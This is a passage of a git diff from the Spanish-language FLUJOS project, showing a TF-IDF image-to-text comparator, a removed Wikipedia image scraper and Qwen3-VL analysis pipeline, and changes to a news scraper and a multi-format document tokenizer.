resultados = comp.compare_image_vs_collection(imagen_doc, lista_docs_texto)
top = comp.top_n(resultados, n=10)
"""
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
import numpy as np
# ── Clase principal ─────────────────────────────────────────────────────────────
class ImageComparator:
def __init__(self, threshold: float = 5.0):
"""
Args:
threshold: porcentaje mínimo de similitud para incluir en resultados (0-100)
"""
self.threshold = threshold
self.vectorizer = TfidfVectorizer(
analyzer="word",
ngram_range=(1, 2),
min_df=1,
strip_accents="unicode",
lowercase=True,
)
# ── Conversión de documentos a texto ──────────────────────────────────────
@staticmethod
def doc_to_text(doc: dict) -> str:
"""
Concatena los campos relevantes de un documento en un string para TF-IDF.
Compatible con estructura de noticias/wikipedia/torrents/imagenes.
"""
parts = []
# keywords de imágenes (lista) — los más informativos, se repiten para darles peso
if doc.get("keywords"):
kws = doc["keywords"] if isinstance(doc["keywords"], list) else []
parts.extend(kws * 3) # peso extra a keywords
# campos de texto estándar
for field in ("tema", "subtema", "texto"):
val = doc.get(field)
if val and isinstance(val, str):
parts.append(val)
# entidades (pueden ser strings o dicts)
if doc.get("entidades"):
for e in doc["entidades"]:
if isinstance(e, str):
parts.append(e)
elif isinstance(e, dict):
parts.extend(str(v) for v in e.values() if v)
return " ".join(parts)
# ── Comparación imagen vs lista de documentos ─────────────────────────────
def compare_image_vs_collection(
self,
image_doc: dict,
text_docs: list[dict],
) -> list[dict]:
"""
Compara una imagen contra una lista de documentos de texto.
Returns:
Lista de dicts ordenados por porcentaje_similitud desc, filtrados por threshold.
"""
if not text_docs:
return []
all_docs = [image_doc] + text_docs
texts = [self.doc_to_text(d) for d in all_docs]
try:
matrix = self.vectorizer.fit_transform(texts)
except ValueError:
return []
# Similitud de imagen (índice 0) contra todos los demás
sims = cosine_similarity(matrix[0:1], matrix[1:]).flatten()
comparaciones = []
for doc, sim in zip(text_docs, sims):
pct = round(float(sim) * 100, 2)
if pct < self.threshold:
continue
comparaciones.append({
# Campos compatibles con colección 'comparaciones' existente
"noticia1": image_doc.get("archivo", "imagen"),
"noticia2": doc.get("archivo", str(doc.get("_id", ""))),
"porcentaje_similitud": pct,
# Campos extendidos (opcionales — no rompen queries existentes)
"source1_type": "imagen",
"source2_type": doc.get("source_type", "texto"),
"tema_imagen": image_doc.get("tema", ""),
"tema_doc": doc.get("tema", ""),
})
comparaciones.sort(key=lambda x: x["porcentaje_similitud"], reverse=True)
return comparaciones
# ── Comparación muchas imágenes vs colección ───────────────────────────────
def compare_batch(
self,
image_docs: list[dict],
text_docs: list[dict],
) -> list[dict]:
"""
Compara múltiples imágenes contra una colección de documentos.
Returns:
Todos los pares con similitud >= threshold, sin duplicados.
"""
all_comparaciones = []
seen = set()
for img_doc in image_docs:
results = self.compare_image_vs_collection(img_doc, text_docs)
for r in results:
key = (r["noticia1"], r["noticia2"])
if key not in seen:
seen.add(key)
all_comparaciones.append(r)
all_comparaciones.sort(key=lambda x: x["porcentaje_similitud"], reverse=True)
return all_comparaciones
# ── Helpers ────────────────────────────────────────────────────────────────
@staticmethod
def top_n(comparaciones: list[dict], n: int = 20) -> list[dict]:
return sorted(comparaciones, key=lambda x: x["porcentaje_similitud"], reverse=True)[:n]
@staticmethod
def stats(comparaciones: list[dict]) -> dict:
if not comparaciones:
return {"total": 0}
sims = [c["porcentaje_similitud"] for c in comparaciones]
return {
"total": len(sims),
"media": round(np.mean(sims), 2),
"max": round(max(sims), 2),
"min": round(min(sims), 2),
"sobre_50": sum(1 for s in sims if s >= 50),
"sobre_70": sum(1 for s in sims if s >= 70),
}

View file

@ -1,134 +0,0 @@
"""
pipeline_imagenes.py
--------------------
Pipeline end-to-end:
1. Scraping de imágenes Wikipedia por temas de FLUJOS
2. Análisis con Qwen3-VL-8B (keywords + metadata)
3. Comparación con corpus texto (noticias/wikipedia/torrents)
4. Guardado en MongoDB
Ejecutar:
python pipeline_imagenes.py --scrape --analizar --mongo
python pipeline_imagenes.py --scrape --tema "cambio climático" --max 10
python pipeline_imagenes.py --analizar --carpeta ./output/wiki_images/
python pipeline_imagenes.py --solo-json # sin MongoDB
"""
import argparse
import json
import sys
from datetime import datetime
from pathlib import Path
from image_analyzer import ImageAnalyzer
from image_comparator import ImageComparator
from mongo_helper import MongoHelper
from wikipedia_image_scraper import WikipediaImageScraper, TEMAS_FLUJOS
OUTPUT_DIR = Path(__file__).parent / "output"
IMAGES_DIR = OUTPUT_DIR / "wiki_images"
def fase_scraping(temas: list[str], max_per_tema: int, lang: str, usar_mongo: bool) -> list[dict]:
print("\n" + "="*60)
print(" FASE 1 — Scraping de imágenes Wikipedia")
print("="*60)
scraper = WikipediaImageScraper(output_dir=IMAGES_DIR, lang=lang)
if len(temas) == 1:
metadata = scraper.scrape_tema(temas[0], max_images=max_per_tema)
else:
metadata = scraper.scrape_multitema(temas, max_per_tema=max_per_tema)
if metadata:
json_path = scraper.save_metadata(metadata)
print(f"\n Total imágenes descargadas: {len(metadata)}")
if usar_mongo:
scraper.save_to_mongo(metadata)
return metadata
def fase_analisis(carpeta: str, usar_mongo: bool, threshold: float) -> tuple[list, list]:
print("\n" + "="*60)
print(" FASE 2 — Análisis con Qwen3-VL-8B")
print("="*60)
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
OUTPUT_DIR.mkdir(exist_ok=True)
analyzer = ImageAnalyzer()
image_docs = analyzer.analyze_folder(carpeta)
if not image_docs:
print(" No se analizaron imágenes.")
return [], []
json_imagenes = OUTPUT_DIR / f"imagenes_{timestamp}.json"
ImageAnalyzer.save_json(image_docs, str(json_imagenes))
# Cargar corpus texto para comparar
print("\n Cargando corpus de texto para comparar...")
mongo = MongoHelper()
if usar_mongo and mongo.is_available():
text_docs = mongo.get_all_text_docs(limit_per_collection=300)
else:
print(" MongoDB no disponible — comparación omitida")
text_docs = []
comparaciones = []
if text_docs:
comparador = ImageComparator(threshold=threshold)
valid = [d for d in image_docs if "error" not in d]
comparaciones = comparador.compare_batch(valid, text_docs)
stats = comparador.stats(comparaciones)
print(f" Similitud media: {stats.get('media', 0)}% | max: {stats.get('max', 0)}%")
json_comp = OUTPUT_DIR / f"comparaciones_{timestamp}.json"
with open(json_comp, "w", encoding="utf-8") as f:
json.dump(comparaciones, f, ensure_ascii=False, indent=2)
print(f" Guardado: {json_comp}")
if usar_mongo and mongo.is_available():
mongo.upsert_imagenes([d for d in image_docs if "error" not in d])
mongo.insert_comparaciones(comparaciones)
mongo.disconnect()
return image_docs, comparaciones
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Pipeline imágenes FLUJOS")
parser.add_argument("--scrape", action="store_true", help="Ejecutar fase de scraping")
parser.add_argument("--analizar", action="store_true", help="Ejecutar fase de análisis VLM")
parser.add_argument("--tema", default=None, help="Tema único (ej: 'cambio climático')")
parser.add_argument("--max", type=int, default=20, help="Máx imágenes por tema (default: 20)")
parser.add_argument("--lang", default="es", help="Idioma Wikipedia: es|en")
parser.add_argument("--carpeta", default=str(IMAGES_DIR), help="Carpeta para analizar")
parser.add_argument("--umbral", type=float, default=5.0, help="Umbral similitud (default: 5.0)")
parser.add_argument("--mongo", action="store_true", help="Guardar en MongoDB")
parser.add_argument("--solo-json", action="store_true", help="Solo JSON local, sin MongoDB")
args = parser.parse_args()
usar_mongo = args.mongo and not args.solo_json
if not args.scrape and not args.analizar:
parser.print_help()
sys.exit(0)
temas = [args.tema] if args.tema else TEMAS_FLUJOS
if args.scrape:
fase_scraping(temas, args.max, args.lang, usar_mongo)
if args.analizar:
carpeta = args.carpeta
if args.scrape and args.tema:
tema_slug = args.tema.lower().replace(" ", "_").replace("/", "-")[:40]
carpeta = str(IMAGES_DIR / tema_slug)
fase_analisis(carpeta, usar_mongo, args.umbral)
print("\n Pipeline completado.")

View file

@ -1,26 +0,0 @@
# Pipeline de imágenes FLUJOS — Qwen3-VL-8B
# pip install -r requirements_imagenes.txt
# HuggingFace / modelo Qwen3-VL
transformers @ git+https://github.com/huggingface/transformers
torch>=2.3.0
torchvision>=0.18.0
accelerate>=0.30.0
huggingface_hub>=0.23.0
qwen-vl-utils>=0.0.8
# MongoDB
pymongo>=4.6
# ML / comparación
scikit-learn>=1.3
numpy>=1.24
# Imágenes
Pillow>=10.0
# HTTP
requests>=2.31
# Utilidades
python-dotenv>=1.0

View file

@ -1,441 +0,0 @@
"""
wikipedia_image_scraper.py
--------------------------
Descarga imágenes de artículos de Wikipedia por tema usando la Wikimedia API.
Las guarda en una carpeta local y registra los metadatos en JSON / MongoDB.
Flujo:
1. Busca artículos en Wikipedia por tema/keyword
2. Para cada artículo extrae las imágenes (Wikimedia API)
3. Filtra imágenes no relevantes (iconos, banderas, logos pequeños...)
4. Descarga las imágenes a la carpeta de destino
5. Guarda metadatos: título del artículo, tema, url, descripción, fecha
6. Opcional: guarda metadatos en MongoDB colección 'imagenes_wiki'
Uso:
python wikipedia_image_scraper.py --tema "cambio climático" --max 30
python wikipedia_image_scraper.py --tema "geopolítica" --lang es --max 50
python wikipedia_image_scraper.py --temas temas.txt --max 20
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
Requisitos:
pip install requests Pillow pymongo python-dotenv
"""
import argparse
import json
import os
import time
from datetime import datetime
from pathlib import Path
from urllib.parse import quote, urlparse
import requests
from PIL import Image, UnidentifiedImageError
# ── Configuración ──────────────────────────────────────────────────────────────
WIKI_API_ES = "https://es.wikipedia.org/w/api.php"
WIKI_API_EN = "https://en.wikipedia.org/w/api.php"
WIKIMEDIA_API = "https://commons.wikimedia.org/w/api.php"
OUTPUT_BASE = Path(__file__).parent / "output" / "wiki_images"
# Tamaño mínimo para considerar una imagen relevante (pixels)
MIN_WIDTH = 200
MIN_HEIGHT = 200
MIN_BYTES = 20_000 # 20KB mínimo
# Extensiones válidas
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
# Prefijos/sufijos de archivos a ignorar (iconos, banderas, etc.)
SKIP_PATTERNS = [
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
"symbol", "Symbol", "coat_of_arms", "Coat_of_arms",
"commons-logo", "wiki", "Wiki", "question_mark",
"edit-", "nuvola", "Nuvola", "pictogram", "Pictogram",
"OOjs", "Ambox", "Portal-", "Disambig",
]
HEADERS = {
"User-Agent": "FLUJOS-Project/1.0 (https://gitea.laenre.net/hacklab/FLUJOS; educational research)"
}
# ── Funciones de búsqueda Wikipedia ───────────────────────────────────────────
def search_articles(tema: str, lang: str = "es", limit: int = 10) -> list[dict]:
"""Busca artículos en Wikipedia por tema. Devuelve lista de {title, pageid}."""
api_url = WIKI_API_EN if lang == "en" else WIKI_API_ES
params = {
"action": "query",
"list": "search",
"srsearch": tema,
"srlimit": limit,
"format": "json",
"srinfo": "totalhits",
"srprop": "snippet|titlesnippet",
}
resp = requests.get(api_url, params=params, headers=HEADERS, timeout=15)
resp.raise_for_status()
data = resp.json()
articles = []
for item in data.get("query", {}).get("search", []):
articles.append({
"title": item["title"],
"pageid": item["pageid"],
"snippet": item.get("snippet", "").replace("<span class=\"searchmatch\">", "").replace("</span>", ""),
})
return articles
def get_article_images(title: str, lang: str = "es", limit: int = 20) -> list[str]:
"""Obtiene lista de nombres de archivo de imágenes de un artículo Wikipedia."""
api_url = WIKI_API_EN if lang == "en" else WIKI_API_ES
params = {
"action": "query",
"titles": title,
"prop": "images",
"imlimit": limit,
"format": "json",
}
resp = requests.get(api_url, params=params, headers=HEADERS, timeout=15)
resp.raise_for_status()
data = resp.json()
pages = data.get("query", {}).get("pages", {})
image_titles = []
for page in pages.values():
for img in page.get("images", []):
image_titles.append(img["title"])
return image_titles
def get_image_info(file_title: str) -> dict | None:
"""
Obtiene info de una imagen via Wikimedia API:
url directa de descarga, dimensiones, descripción, autor, licencia.
"""
# Normalizar namespace: Wikipedia ES usa "Archivo:", Commons usa "File:"
for prefix in ("Archivo:", "Fichero:", "Image:", "Imagen:"):
if file_title.startswith(prefix):
file_title = "File:" + file_title[len(prefix):]
break
params = {
"action": "query",
"titles": file_title,
"prop": "imageinfo",
"iiprop": "url|size|extmetadata",
"iiurlwidth": 1200,
"format": "json",
}
resp = requests.get(WIKIMEDIA_API, params=params, headers=HEADERS, timeout=15)
resp.raise_for_status()
data = resp.json()
pages = data.get("query", {}).get("pages", {})
for page in pages.values():
infos = page.get("imageinfo", [])
if not infos:
return None
info = infos[0]
ext_meta = info.get("extmetadata", {})
return {
"url": info.get("thumburl") or info.get("url"),
"url_original": info.get("url"),
"width": info.get("width", 0),
"height": info.get("height", 0),
"size_bytes": info.get("size", 0),
"descripcion": ext_meta.get("ImageDescription", {}).get("value", ""),
"autor": ext_meta.get("Artist", {}).get("value", ""),
"licencia": ext_meta.get("LicenseShortName", {}).get("value", ""),
"fecha_orig": ext_meta.get("DateTimeOriginal", {}).get("value", ""),
}
return None
# ── Filtros ────────────────────────────────────────────────────────────────────
def should_skip(file_title: str, img_info: dict) -> tuple[bool, str]:
"""Devuelve (skip, motivo) — True si la imagen debe descartarse."""
filename = Path(file_title).name
# Extensión válida
ext = Path(filename).suffix.lower()
if ext not in VALID_EXTENSIONS:
return True, f"extensión no válida: {ext}"
# Patrones a ignorar
for pattern in SKIP_PATTERNS:
if pattern in filename:
return True, f"patrón ignorado: {pattern}"
# Tamaño mínimo
if img_info.get("width", 0) < MIN_WIDTH or img_info.get("height", 0) < MIN_HEIGHT:
return True, f"demasiado pequeña: {img_info.get('width')}x{img_info.get('height')}"
if img_info.get("size_bytes", 0) < MIN_BYTES:
return True, f"archivo demasiado pequeño: {img_info.get('size_bytes')} bytes"
return False, ""
# ── Descarga ───────────────────────────────────────────────────────────────────
def download_image(url: str, dest_path: Path) -> bool:
"""Descarga una imagen a dest_path. Devuelve True si éxito."""
try:
resp = requests.get(url, headers=HEADERS, timeout=30, stream=True)
resp.raise_for_status()
with open(dest_path, "wb") as f:
for chunk in resp.iter_content(chunk_size=8192):
f.write(chunk)
# Verificar que es imagen válida con Pillow
with Image.open(dest_path) as img:
img.verify()
return True
except (UnidentifiedImageError, Exception) as e:
if dest_path.exists():
dest_path.unlink()
return False
# ── Pipeline principal ─────────────────────────────────────────────────────────
class WikipediaImageScraper:
def __init__(self, output_dir: Path = OUTPUT_BASE, lang: str = "es"):
self.output_dir = output_dir
self.lang = lang
self.output_dir.mkdir(parents=True, exist_ok=True)
self.session = requests.Session()
def scrape_tema(self, tema: str, max_images: int = 30, max_articles: int = 10) -> list[dict]:
"""
Descarga imágenes de Wikipedia sobre un tema.
Args:
tema: tema a buscar (ej: "cambio climático")
max_images: máximo de imágenes a descargar
max_articles: máximo de artículos a explorar
Returns:
Lista de metadatos de imágenes descargadas
"""
# Carpeta por tema
tema_slug = tema.lower().replace(" ", "_").replace("/", "-")[:40]
tema_dir = self.output_dir / tema_slug
tema_dir.mkdir(exist_ok=True)
print(f"\n[WikiScraper] Tema: '{tema}' | max_images={max_images} | lang={self.lang}")
print("-" * 50)
# 1. Buscar artículos
articles = search_articles(tema, lang=self.lang, limit=max_articles)
print(f" Artículos encontrados: {len(articles)}")
for a in articles[:5]:
print(f" · {a['title']}")
if len(articles) > 5:
print(f" ... y {len(articles)-5} más")
downloaded = []
total_downloaded = 0
for article in articles:
if total_downloaded >= max_images:
break
print(f"\n{article['title']}")
# 2. Obtener imágenes del artículo
try:
img_titles = get_article_images(article["title"], lang=self.lang, limit=25)
except Exception as e:
print(f" ERROR obteniendo imágenes: {e}")
continue
print(f" {len(img_titles)} imágenes en el artículo")
for img_title in img_titles:
if total_downloaded >= max_images:
break
# 3. Obtener info de la imagen
try:
img_info = get_image_info(img_title)
time.sleep(0.2) # respetar rate limit Wikimedia
except Exception as e:
continue
if not img_info or not img_info.get("url"):
continue
# 4. Filtrar
skip, motivo = should_skip(img_title, img_info)
if skip:
continue
# 5. Nombre de archivo local
original_name = Path(urlparse(img_info["url"]).path).name
ext = Path(original_name).suffix.lower() or ".jpg"
safe_name = f"{tema_slug}_{total_downloaded:03d}{ext}"
dest_path = tema_dir / safe_name
# Saltar si ya existe
if dest_path.exists():
print(f" ↳ ya existe: {safe_name}")
total_downloaded += 1
continue
# 6. Descargar
print(f"{safe_name} ({img_info['width']}x{img_info['height']} {img_info['size_bytes']//1024}KB)")
success = download_image(img_info["url"], dest_path)
if success:
meta = {
"archivo": safe_name,
"image_path": str(dest_path.resolve()),
"tema": tema.lower(),
"subtema": article["title"].lower(),
"texto": article.get("snippet", ""),
"descripcion_wiki": img_info.get("descripcion", ""),
"autor": img_info.get("autor", ""),
"licencia": img_info.get("licencia", ""),
"url_original": img_info.get("url_original", ""),
"width": img_info["width"],
"height": img_info["height"],
"size_bytes": img_info["size_bytes"],
"source_type": "wikipedia_imagen",
"lang": self.lang,
"fecha": datetime.now().strftime("%Y-%m-%d"),
"articulo_wiki": article["title"],
"keywords": [], # se rellenan con image_analyzer.py
}
downloaded.append(meta)
total_downloaded += 1
else:
print(f" ✗ fallo descarga")
print(f"\n[WikiScraper] Descargadas: {total_downloaded} imágenes en {tema_dir}")
return downloaded
def scrape_multitema(self, temas: list[str], max_per_tema: int = 20) -> list[dict]:
"""Descarga imágenes para múltiples temas."""
all_results = []
for tema in temas:
results = self.scrape_tema(tema, max_images=max_per_tema)
all_results.extend(results)
time.sleep(1) # pausa entre temas
return all_results
def save_metadata(self, metadata: list[dict], json_path: Path = None) -> Path:
"""Guarda metadatos en JSON."""
if json_path is None:
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
json_path = self.output_dir / f"metadata_{ts}.json"
with open(json_path, "w", encoding="utf-8") as f:
json.dump(metadata, f, ensure_ascii=False, indent=2)
print(f"[WikiScraper] Metadatos guardados: {json_path}")
return json_path
def save_to_mongo(self, metadata: list[dict]) -> dict:
"""Guarda metadatos en MongoDB colección 'imagenes_wiki'."""
from mongo_helper import MongoHelper
mongo = MongoHelper()
if not mongo.is_available():
print("[WikiScraper] MongoDB no disponible — solo JSON local")
return {"inserted": 0, "updated": 0}
# Usar colección imagenes_wiki para no mezclar con imagenes analizadas
db = mongo.connect()
from pymongo import UpdateOne
col = db["imagenes_wiki"]
col.create_index("archivo", unique=True)
ops = [
UpdateOne({"archivo": doc["archivo"]}, {"$set": doc}, upsert=True)
for doc in metadata
]
if ops:
result = col.bulk_write(ops)
stats = {"inserted": result.upserted_count, "updated": result.modified_count}
else:
stats = {"inserted": 0, "updated": 0}
print(f"[WikiScraper] MongoDB imagenes_wiki → {stats}")
mongo.disconnect()
return stats
# ── CLI ────────────────────────────────────────────────────────────────────────
# Temas de FLUJOS por defecto
TEMAS_FLUJOS = [
"cambio climático",
"guerra global",
"inteligencia y seguridad",
"economía y corporaciones",
"demografía y sociedad",
]
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Descarga imágenes de Wikipedia por tema")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--tema", help="Tema único a buscar (ej: 'cambio climático')")
group.add_argument("--temas", help="Fichero .txt con un tema por línea")
group.add_argument("--flujos", action="store_true", help="Usar los temas de FLUJOS por defecto")
parser.add_argument("--max", type=int, default=20, help="Máximo imágenes por tema (default: 20)")
parser.add_argument("--lang", default="es", help="Idioma Wikipedia: es | en (default: es)")
parser.add_argument("--output", default=str(OUTPUT_BASE), help="Carpeta de destino")
parser.add_argument("--mongo", action="store_true", help="Guardar metadatos en MongoDB")
args = parser.parse_args()
scraper = WikipediaImageScraper(output_dir=Path(args.output), lang=args.lang)
# Determinar lista de temas
if args.flujos:
temas = TEMAS_FLUJOS
elif args.temas:
with open(args.temas, encoding="utf-8") as f:
temas = [l.strip() for l in f if l.strip()]
else:
temas = [args.tema]
# Ejecutar
if len(temas) == 1:
metadata = scraper.scrape_tema(temas[0], max_images=args.max)
else:
metadata = scraper.scrape_multitema(temas, max_per_tema=args.max)
# Guardar resultados
if metadata:
json_path = scraper.save_metadata(metadata)
print(f"\n Total imágenes descargadas: {len(metadata)}")
print(f" JSON: {json_path}")
if args.mongo:
scraper.save_to_mongo(metadata)
else:
print("\n No se descargaron imágenes.")

View file

@ -151,7 +151,7 @@ clean_text():
7) filtra STOPWORDS (lista extensa ES) 7) filtra STOPWORDS (lista extensa ES)
$FLUJOS/FLUJOS_DATOS/NOTICIAS/ /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
├── articulos/ (txt limpios en ES, de páginas HTML/Wayback) ├── articulos/ (txt limpios en ES, de páginas HTML/Wayback)
├── archivos/ (descargas crudas: pdf, csv, xlsx, docx, zip, html, md, txt) ├── archivos/ (descargas crudas: pdf, csv, xlsx, docx, zip, html, md, txt)
├── tokenized/ (mismos nombres, contenido = IDs BERT separados por espacio) ├── tokenized/ (mismos nombres, contenido = IDs BERT separados por espacio)
@ -270,7 +270,7 @@ Control y límites
- tqdm, logging, os, re, json, time, csv, hashlib, urllib.parse (urlparse/urljoin) → utilidades - tqdm, logging, os, re, json, time, csv, hashlib, urllib.parse (urlparse/urljoin) → utilidades
[ ESTRUCTURA DE CARPETAS (I/O) ] [ ESTRUCTURA DE CARPETAS (I/O) ]
$FLUJOS/FLUJOS_DATOS/NOTICIAS/ /var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS/
├── articulos/ (TXT limpios en español, derivados de HTML/Wayback) ├── articulos/ (TXT limpios en español, derivados de HTML/Wayback)
├── archivos/ (descargas crudas: .pdf .csv .txt .xlsx .docx .html .md .zip) ├── archivos/ (descargas crudas: .pdf .csv .txt .xlsx .docx .html .md .zip)
├── tokenized/ (TXT con IDs de tokens BERT, máx 512 tokens por archivo) ├── tokenized/ (TXT con IDs de tokens BERT, máx 512 tokens por archivo)

View file

@ -1,4 +1,5 @@
from deep_translator import GoogleTranslator from deep_translator import GoogleTranslator
from deep_translator import GoogleTranslator
import os import os
import re import re
import hashlib import hashlib
@ -6,6 +7,7 @@ import requests
import json import json
import time import time
import logging import logging
from requests_html import HTMLSession
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from PyPDF2 import PdfReader from PyPDF2 import PdfReader
import csv import csv
@ -66,13 +68,10 @@ def clean_text(text):
Limpia el texto eliminando bloques CDATA (incluso con espacios extra), Limpia el texto eliminando bloques CDATA (incluso con espacios extra),
luego HTML, puntuación y stopwords. luego HTML, puntuación y stopwords.
""" """
# 1) Eliminar cualquier variante de CDATA/marked sections malformadas # 1) Eliminar cualquier variante de CDATA (p. ej. '<![ CDATA [ ... ]]>')
text = re.sub(r'<!\[.*?\]>', '', text, flags=re.S) text = re.sub(r'<\!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S)
# 2) Parsear HTML (lxml es más tolerante con HTML malformado) # 2) Parsear HTML
try:
soup = BeautifulSoup(text, 'lxml')
except Exception:
soup = BeautifulSoup(text, 'html.parser') soup = BeautifulSoup(text, 'html.parser')
text = soup.get_text(separator=" ") text = soup.get_text(separator=" ")
@ -437,21 +436,11 @@ def explore_and_extract_articles(url, articles_folder, files_folder, processed_u
logging.info(f"Explorando {url} en profundidad {depth}...") logging.info(f"Explorando {url} en profundidad {depth}...")
try: try:
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36"} session = HTMLSession()
response = requests.get(url, timeout=30, headers=headers) response = session.get(url, timeout=30)
response.raise_for_status() response.html.render(timeout=30, sleep=1)
soup = BeautifulSoup(response.text, "html.parser") links = response.html.absolute_links
base = url.rstrip("/") session.close()
raw_links = set()
for tag in soup.find_all("a", href=True):
href = tag["href"].strip()
if href.startswith("http"):
raw_links.add(href)
elif href.startswith("/"):
from urllib.parse import urlparse as _up
parsed = _up(url)
raw_links.add(f"{parsed.scheme}://{parsed.netloc}{href}")
links = raw_links
except Exception as e: except Exception as e:
logging.error(f"Error al acceder a {url}: {e}") logging.error(f"Error al acceder a {url}: {e}")
return return
@ -598,9 +587,7 @@ def main():
'https://www.spectator.co.uk/' 'https://www.spectator.co.uk/'
] ]
# Por defecto, el directorio donde vive este script base_folder = '/var/www/theflows.net/flujos/FLUJOS_DATOS/NOTICIAS'
base_folder = os.getenv('FLUJOS_NOTICIAS_DIR',
os.path.dirname(os.path.abspath(__file__)))
articles_folder = os.path.join(base_folder, 'articulos') articles_folder = os.path.join(base_folder, 'articulos')
files_folder = os.path.join(base_folder, 'archivos') files_folder = os.path.join(base_folder, 'archivos')
tokenized_folder = os.path.join(base_folder, 'tokenized') tokenized_folder = os.path.join(base_folder, 'tokenized')

File diff suppressed because one or more lines are too long

View file

@ -0,0 +1,8 @@
========================================
Informe de procesamiento
========================================
Nuevos archivos procesados: 0
Archivos ya procesados (saltados): 0
Errores de procesamiento: 0
========================================

View file

@ -0,0 +1,359 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import re
import hashlib
import subprocess
from transformers import BertTokenizer
from PyPDF2 import PdfReader
import csv
import docx
import openpyxl
import zipfile
from pptx import Presentation
import pytesseract
from PIL import Image
import sqlite3
from tqdm import tqdm
from bs4 import BeautifulSoup
# =========================
# Stopwords (ES)
# =========================
stopwords = [
"de", "la", "que", "el", "en", "y", "a", "los", "del", "se", "las", "por", "un", "para", "con",
"no", "una", "su", "al", "es", "lo", "como", "más", "pero", "sus", "le", "ya", "o", "fue", "este",
"ha", "", "porque", "esta", "son", "entre", "cuando", "muy", "sin", "sobre", "también", "me",
"hasta", "hay", "donde", "quien", "desde", "todo", "nos", "durante", "todos", "uno", "les", "ni",
"contra", "otros", "ese", "eso", "ante", "ellos", "e", "esto", "", "antes", "algunos", "qué",
"unos", "yo", "otro", "otras", "otra", "él", "tanto", "esa", "estos", "mucho", "quienes", "nada",
"muchos", "cual", "poco", "ella", "estar", "estas", "algunas", "algo", "nosotros", "mi", "mis",
"", "te", "ti", "tu", "tus", "ellas", "nosotras", "vosotros", "vosotras", "os", "mío", "mía",
"míos", "mías", "tuyo", "tuya", "tuyos", "tuyas", "suyo", "suya", "suyos", "suyas", "nuestro",
"nuestra", "nuestros", "nuestras", "vuestro", "vuestra", "vuestros", "vuestras", "esos", "esas",
"estoy", "estás", "está", "estamos", "estáis", "están", "esté", "estés", "estemos", "estéis",
"estén", "estaré", "estarás", "estará", "estaremos", "estaréis", "estarán", "estaría", "estarías",
"estaríamos", "estaríais", "estarían", "estaba", "estabas", "estábamos", "estabais", "estaban",
"estuve", "estuviste", "estuvo", "estuvimos", "estuvisteis", "estuvieron", "estuviera", "estuvieras",
"estuviéramos", "estuvierais", "estuvieran", "estuviese", "estuvieses", "estuviésemos", "estuvieseis",
"estuviesen", "estando", "estado", "estada", "estados", "estadas", "estad"
]
# =========================
# Limpieza y utilidades
# =========================
def limpiar_texto(texto: str) -> str:
texto = texto.lower()
texto = re.sub(r'[^\w\s]', '', texto)
palabras = texto.split()
palabras_limpias = [palabra for palabra in palabras if palabra not in stopwords]
return ' '.join(palabras_limpias)
def limpiar_nombre_archivo(nombre: str) -> str:
# Sustituye caracteres peligrosos por "_"
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
return nombre
# =========================
# Tokenizer
# =========================
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
def tokenizar_y_guardar(texto: str, nombre_archivo: str):
tokens_ids = tokenizer.encode(
texto,
truncation=True,
max_length=512
)
tokens_str = ' '.join(map(str, tokens_ids))
with open(nombre_archivo, 'w', encoding='utf-8') as f:
f.write(tokens_str)
return tokens_ids
# =========================
# Lectores de formatos
# =========================
def leer_pdf(ruta_pdf):
contenido = ''
try:
with open(ruta_pdf, 'rb') as f:
lector_pdf = PdfReader(f)
for pagina in lector_pdf.pages:
contenido += pagina.extract_text() or ''
except Exception as e:
print(f"Error leyendo PDF {ruta_pdf}: {e}")
return contenido
def leer_csv(ruta_csv):
contenido = ''
try:
with open(ruta_csv, 'r', encoding='utf-8', errors='ignore') as f:
reader = csv.reader(f)
for fila in reader:
contenido += ' '.join(fila) + '\n'
except Exception as e:
print(f"Error leyendo CSV {ruta_csv}: {e}")
return contenido
def leer_docx(ruta_docx):
contenido = ''
try:
docx_doc = docx.Document(ruta_docx)
for parrafo in docx_doc.paragraphs:
contenido += parrafo.text + '\n'
except Exception as e:
print(f"Error leyendo DOCX {ruta_docx}: {e}")
return contenido
def leer_doc(ruta_doc):
contenido = ''
try:
# Requiere antiword instalado
resultado = subprocess.run(['antiword', ruta_doc], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
contenido = resultado.stdout.decode('utf-8', errors='ignore')
except Exception as e:
print(f"Error leyendo DOC {ruta_doc}: {e}")
return contenido
def leer_xlsx(ruta_xlsx):
contenido = ''
try:
wb = openpyxl.load_workbook(ruta_xlsx, data_only=True)
for sheet in wb.sheetnames:
ws = wb[sheet]
for row in ws.iter_rows():
contenido += ' '.join([str(cell.value) if cell.value is not None else '' for cell in row]) + '\n'
except Exception as e:
print(f"Error leyendo XLSX {ruta_xlsx}: {e}")
return contenido
def leer_xls(ruta_xls):
contenido = ''
try:
import xlrd
workbook = xlrd.open_workbook(ruta_xls)
for sheet in workbook.sheets():
for row in range(sheet.nrows):
contenido += ' '.join([str(sheet.cell(row, col).value) for col in range(sheet.ncols)]) + '\n'
except Exception as e:
print(f"Error leyendo XLS {ruta_xls}: {e}")
return contenido
def leer_zip(ruta_zip, _carpeta_destino_no_usada):
# Leemos solo .txt dentro del ZIP, sin extraer al disco
contenido = ''
try:
with zipfile.ZipFile(ruta_zip, 'r') as z:
for nombre_archivo in z.namelist():
if nombre_archivo.lower().endswith('.txt'):
with z.open(nombre_archivo) as f:
contenido += f.read().decode('utf-8', errors='ignore') + '\n'
except Exception as e:
print(f"Error leyendo ZIP {ruta_zip}: {e}")
return contenido
def leer_html(ruta_html):
contenido = ''
try:
